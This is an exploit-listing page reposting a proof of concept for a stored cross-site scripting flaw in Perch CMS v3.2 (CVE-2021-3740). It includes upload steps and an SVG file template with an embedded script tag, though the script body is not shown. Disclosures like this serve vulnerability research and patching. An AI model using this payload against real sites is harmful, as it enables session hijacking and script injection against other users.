Perch v3.2 Stored XSS

CVE Category Price Severity
CVE-2021-3740 CWE-79 $2,000 High
Author Risk Exploitation Type Date
Exploit Alert Team High Remote 2023-07-21

CVSS vector description

Our sensors found this exploit at:

Below is a copy:

Perch v3.2 Stored XSS
Exploit Title: Perch v3.2 - Stored XSS
Application: Perch Cms
Version: v3.2
Bugs:  XSS
Technology: PHP
Vendor URL:
Software Link:
Date of found: 21.07.2023
Author: Mirabbas Aalarov
Tested on: Linux 

2. Technical Details & POC
1. login to account
2. go to http://localhost/perch_v3.2/perch/core/settings/
3. upload svg file

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "">

<svg version="1.1" baseProfile="full" xmlns="">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
4. go to svg file (http://localhost/perch_v3.2/perch/resources/malas.svg)

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